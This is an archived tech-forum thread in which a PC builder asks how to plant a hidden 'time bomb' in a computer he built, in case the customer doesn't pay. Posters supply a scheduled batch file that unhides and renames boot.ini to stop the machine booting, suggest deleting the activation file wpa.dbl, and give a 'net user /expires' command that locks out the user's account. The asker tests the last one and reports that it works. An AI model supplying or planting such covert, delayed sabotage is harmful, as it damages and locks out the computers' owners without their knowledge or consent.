Can I time-bomb a computer I've built for a slow pay no pay customer?

[scottws]

Originally posted by: daniel49
was just at autoforums.com where someguy was asking about putting a time bomb under the seat. Is that your mechanic?

LOL, I was thinking the same thing. The guy is on an auto website asking if there is some way to make your car stop running after 30 days if the OP doesn't give him his computer.

 

[CTho9305]

c:
cd \
attrib -s -h boot.ini
ren boot.ini boot.ini.bak

Save as "hoseSytem.bat", start->run tasks, add a scheduled task to run that in 30 days?

edit: the cd command should be followed by a backslash. FuseTalk seems to be stripping mine. Add one where it says {backslash}
edit2: found a way around the FuseTalk bug.

 

[xtknight]

Originally posted by: CTho9305

c:
cd
attrib -s -h boot.ini
ren boot.ini boot.ini.bak

Save as "hoseSytem.bat", start->run tasks, add a scheduled task to run that in 30 days?

LOL

Yeah, that's sweet.

 

[BriGy86]

logic bomb

 

[kamper]

Originally posted by: daniel49
was just at autoforums.com where someguy was asking about putting a time bomb under the seat. Is that your mechanic?

30 days later a newb shows up at AT and asks:

So I exchanged some car work with some dude for a computer and we both put time bombs on our respective work. I need to know how to disable the bomb on this computer because I don't trust him to do it when I disable what I put under the seat.

 

[bupkus]

Originally posted by: xtknight

Originally posted by: CTho9305

c:
cd
attrib -s -h boot.ini
ren boot.ini boot.ini.bak

Save as "hoseSytem.bat", start->run tasks, add a scheduled task to run that in 30 days?

LOL

Yeah, that's sweet.

Sorry, but would you please explain the above code?

 

[BriGy86]

Originally posted by: bupkus

Originally posted by: xtknight

Originally posted by: CTho9305

c:
cd
attrib -s -h boot.ini
ren boot.ini boot.ini.bak

Save as "hoseSytem.bat", start->run tasks, add a scheduled task to run that in 30 days?

LOL

Yeah, that's sweet.

Sorry, but would you please explain the above code?

you set a time and date in the scheduled tasks of the OS to use a back up of a boot file, but the back up is bad, so when it switches the boot file it will no longer boot properly if at all

 

[CTho9305]

c: - switch to drive C (this is likely unnecessary, but I included it in case you do something weird like installing windows to a different letter)
cd \ - puts you at the root of the drive.
attrib -s -h boot.ini - there's a file called boot.ini that is hidden and marked as a system file, to keep it away from stupid users. unhide it and remove the system attribute
ren boot.ini boot.ini.bak - change the file name from boot.ini to boot.ini.bak

Next time the computer reboots, I don't think it will come back up. The damage can be undone with the following, from the XP Recovery Console:
c:
cd \
ren boot.ini.bak boot.ini
attrib +s +h boot.ini

 

[spyordie007]

Originally posted by: bupkus
It's a pc I would have given away anyway.

Than why are we even having this discussion? Just do your part and hopefully he will do his.

 

[bupkus]

Originally posted by: spyordie007

Originally posted by: bupkus
It's a pc I would have given away anyway.

Than why are we even having this discussion? Just do your part and hopefully he will do his.

Sometimes there's nothing like a little encouragement to bring a person to a greater level of responsibility. IOW, I need work done. I'm not concerned so much about the computer. In fact, if he were to do all the work I expected I would give him a better pc and tech support for as long as I can take listening to him.

 

[Smilin]

Originally posted by: BriGy86

Originally posted by: bupkus

Originally posted by: xtknight

Originally posted by: CTho9305

c:
cd
attrib -s -h boot.ini
ren boot.ini boot.ini.bak

Save as "hoseSytem.bat", start->run tasks, add a scheduled task to run that in 30 days?

LOL

Yeah, that's sweet.

Sorry, but would you please explain the above code?

you set a time and date in the scheduled tasks of the OS to use a back up of a boot file, but the back up is bad, so when it switches the boot file it will no longer boot properly if at all

Yeah, that can be fixed.

Try deleting system32\wpa.dbl instead

 

[bupkus]

Originally posted by: CTho9305

c:
cd \
attrib -s -h boot.ini
ren boot.ini boot.ini.bak

Save as "hoseSytem.bat", start->run tasks, add a scheduled task to run that in 30 days?

edit: the cd command should be followed by a backslash. FuseTalk seems to be stripping mine. Add one where it says {backslash}
edit2: found a way around the FuseTalk bug.

It doesn't work. I tried it out and at first the OS, or BIOS complains about a loader, but promptly continues to load. I'm using W2K pro SR4 and it's my guess that the os keeps a backup of boot.ini just as there's a backup of the FAT.

Another idea?

 

[Smilin]

Originally posted by: bupkus

Originally posted by: CTho9305

c:
cd \
attrib -s -h boot.ini
ren boot.ini boot.ini.bak

Save as "hoseSytem.bat", start->run tasks, add a scheduled task to run that in 30 days?

edit: the cd command should be followed by a backslash. FuseTalk seems to be stripping mine. Add one where it says {backslash}
edit2: found a way around the FuseTalk bug.

It doesn't work. I tried it out and at first the OS, or BIOS complains about a loader, but promptly continues to load. I'm using W2K pro SR4 and it's my guess that the os keeps a backup of boot.ini just as there's a backup of the FAT.

Another idea?

that's because in the absence of a boot.ini, it will attempt to load from the \windows folder on arc path 0,0,0,1. You would have to swap boot.ini with a bad version instead of deleting it altogether.

Just put an expiration on his logon account.


net user [UserName [Password | *] /expires:{{mm/dd/yyyy | dd/mm/yyyy | mmm,dd ,yyyy} | never}

 

[bupkus]

Originally posted by: Smilin

Originally posted by: bupkus

Originally posted by: CTho9305

c:
cd \
attrib -s -h boot.ini
ren boot.ini boot.ini.bak

Save as "hoseSytem.bat", start->run tasks, add a scheduled task to run that in 30 days?

edit: the cd command should be followed by a backslash. FuseTalk seems to be stripping mine. Add one where it says {backslash}
edit2: found a way around the FuseTalk bug.

It doesn't work. I tried it out and at first the OS, or BIOS complains about a loader, but promptly continues to load. I'm using W2K pro SR4 and it's my guess that the os keeps a backup of boot.ini just as there's a backup of the FAT.

Another idea?

that's because in the absence of a boot.ini, it will attempt to load from the \windows folder on arc path 0,0,0,1. You would have to swap boot.ini with a bad version instead of deleting it altogether.

Just put an expiration on his logon account.


net user [UserName [Password | *] /expires:{{mm/dd/yyyy | dd/mm/yyyy | mmm,dd ,yyyy} | never}

Your solution seems so smart I'm smilin' right now.
When you say an expiration on his logon account, will this work if he insists his account not require a password?
Also, isn't there a GUI for setting an expiration for a user's account in Windows 2000 pro?
Edit: Also, right now I'm looking over this link about your arc path thing.

 

[AnonymouseUser]

Originally posted by: CTho9305

c:
cd \
attrib -s -h boot.ini
ren boot.ini boot.ini.bak

Save as "hoseSytem.bat", start->run tasks, add a scheduled task to run that in 30 days?

edit: the cd command should be followed by a backslash. FuseTalk seems to be stripping mine. Add one where it says {backslash}
edit2: found a way around the FuseTalk bug.

There is an "Attach Code" option (next to Preview) for the OS forums.

 

[Smilin]

Originally posted by: AnonymouseUser

Originally posted by: CTho9305

c:
cd \
attrib -s -h boot.ini
ren boot.ini boot.ini.bak

Save as "hoseSytem.bat", start->run tasks, add a scheduled task to run that in 30 days?

edit: the cd command should be followed by a backslash. FuseTalk seems to be stripping mine. Add one where it says {backslash}
edit2: found a way around the FuseTalk bug.

There is an "Attach Code" option (next to Preview) for the OS forums.

Won't work.

See my previous post why.

 

[Smilin]

Originally posted by: bupkus

pimp smilin said:
Just put an expiration on his logon account.

net user [UserName [Password | *] /expires:{{mm/dd/yyyy | dd/mm/yyyy | mmm,dd ,yyyy} | never}

Your solution seems so smart I'm smilin' right now.
When you say an expiration on his logon account, will this work if he insists his account not require a password?
Also, isn't there a GUI for setting an expiration for a user's account in Windows 2000 pro?
Edit: Also, right now I'm looking over this link about your arc path thing.

"expires" is the end of the road. Nothing to do with a password. Requires an admin to go in and change or remove the expiration. If he can logon with the main admin account he can undo this. If the account being expired is an admin account he can also undo this, but only before the expiration. If it expires before he notices the expiration he's screwed.

No, there is no GUI way to do this unless the account is a domain account.

 

[bupkus]

Thanks, Smilin.

 

[Bonesdad]

Originally posted by: DidlySquat

Originally posted by: bupkus
I don't understand why everyone is suggesting the activation approach.
The product key is required during the installation of the OS. The activation is delayed for 30 days with a nag pop-up. Anyone can attempt an activation by simply clicking on the pop-up's button to "activate now."

ROFLMAO !!!!!! no the product key is NOT REQUIRED during installation of XP Home. It is only required when activating XP Home. XP Pro does require the product key during installation.


Still, I think you can get in trouble for selling a machine with windows installed and no COA and product key, especially if the buyer complains to piracy@microsoft.com

The thing is, has he actually SOLD the computer if he hasn't received payment for it?

 

[bupkus]

Originally posted by: Smilin

Originally posted by: bupkus

Originally posted by: CTho9305

c:
cd \
attrib -s -h boot.ini
ren boot.ini boot.ini.bak

Save as "hoseSytem.bat", start->run tasks, add a scheduled task to run that in 30 days?

edit: the cd command should be followed by a backslash. FuseTalk seems to be stripping mine. Add one where it says {backslash}
edit2: found a way around the FuseTalk bug.

It doesn't work. I tried it out and at first the OS, or BIOS complains about a loader, but promptly continues to load. I'm using W2K pro SR4 and it's my guess that the os keeps a backup of boot.ini just as there's a backup of the FAT.

Another idea?

that's because in the absence of a boot.ini, it will attempt to load from the \windows folder on arc path 0,0,0,1. You would have to swap boot.ini with a bad version instead of deleting it altogether.

Just put an expiration on his logon account.


net user [UserName [Password | *] /expires:{{mm/dd/yyyy | dd/mm/yyyy | mmm,dd ,yyyy} | never}

Edit: I just wonder if it will work since I added nothing about a password.
Issued command as follows:

 

[bupkus]

While we're at it, what would be the format of the command to undo this little trickery?

Also, this user isn't on a network, just a local account. "net user" seems antithetical to a local account command.

Finally, as a test, at 12:40 AM 1/21/2006 I created an account named "test"; I issued the command as above:
>net user test /expires:01/21/2006
The command completed successfully.

I then logged off as administrator and tried to logon as "test" and got the following popup:
Logon Message
Your account has expired. Please see your system administrator.

Sweet.